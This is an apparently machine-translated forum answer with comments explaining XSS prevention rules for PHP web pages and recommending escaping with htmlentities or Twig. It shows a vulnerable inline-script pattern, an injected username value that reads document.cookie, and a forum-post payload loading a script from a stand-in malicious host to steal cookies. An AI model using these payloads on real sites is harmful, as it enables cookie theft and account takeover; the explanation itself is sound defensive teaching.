規則#0意味着你不應該在你的網頁,在那裏它的預期運行指令的位置輸出數據。
如您的網址所示,請勿將用戶生成的數據放在<script>
標籤內。例如,這是一個禁止號碼:
<script>
var usernameSpanTag = document.getElementById('username');
usernameSpanTag.innerText = "Welcome back, "+<?=$username?>+"!";
</script>
看起來很安全吧?好吧,如果你的用戶名$變量包含以下值:
""; console.log(document.cookie);//
所以,一個網站你會顯示將是本什麼的:
<script>
var usernameSpanTag = document.getElementById('username');
usernameSpanTag.innerText = "Welcome back, "+""; console.log(document.cookie);//+"!";
</script>
所以有人能輕鬆竊取用戶的cookies並提升他們的權限。現在假設您使用類似的代碼說,更新哪個用戶創建了最新的帖子,並通過AJAX顯示。如果你做了類似上面的事情(並且不首先處理用戶名),那麼這是一場等待發生的災難。
同樣適用於<style>
,<img>
,<embed>
,或任何其他允許您運行腳本或導入資源的標籤。也適用於評論。瀏覽器忽略註釋,但一些解釋器(如JSP解析器)將HTML註釋處理爲模板文本。它不會忽略它的內容。
規則1與規則#0非常相似,如果您在某個位置開發Web應用程序,您將不得不輸出用戶生成的數據,無論是電子郵件地址,用戶名,名稱還是隨你。
如果您正在開發一個論壇,可能您可能希望爲您的用戶提供他們的文本的一些樣式選項。像粗體字母,下劃線和斜體等基本的東西應該就足夠了。如果你想變得有趣,你甚至可以讓你的用戶改變字體。
一個簡單的方法來做到這一點,沒有太多的複雜性,只是讓用戶編寫自己的HTML,如果他們選擇這樣做,所以如果你在用戶的「安全」位置輸出HTML,如<p>
標籤,然後這也是一場等待發生的災難。
因爲我可以這樣寫:
大家好,這是我的第一篇文章<script src="//malicioussite.io/hackingYoCookiez.js"></script>
!
如果你無法逃避的輸入,人們只會看到:
大家好,這是我第POST`!
但您的瀏覽器還會看到一個外部JavaScript,告訴它將每個人的Cookie發送到遠程位置。
所以總是逃避數據。如果您使用的是PHP,您可以使用htmlentities
或使用像Twig這樣的模板引擎,它會自動爲您輸出輸出。
是用戶數據是不可信數據。如果您從未在您的網站上輸出任何數據,則需要滿足規則0和1.具體而言,規則一意味着在用戶輸入 – Steve 2014-09-23 14:22:20
上使用諸如「htmlentities」之類的函數,並且「絕不插入不受信任的數據,但在允許的位置除外」我認爲作者是指您應該總是問自己,數據是否由用戶提供。如果是這樣,請確保它不會對您的系統造成傷害。 – user264230 2014-09-23 14:24:03
@Steve,這是否意味着'htmlentities'也應該用於服務器端?我使用'trim'和'filter_var(,FILTER_SANITIZE_STRING)的組合來對輸入數據進行服務器端驗證。另外,如果我輸出不發回用戶輸入的硬編碼消息,會發生什麼情況? – ckmartin 2014-09-23 14:24:38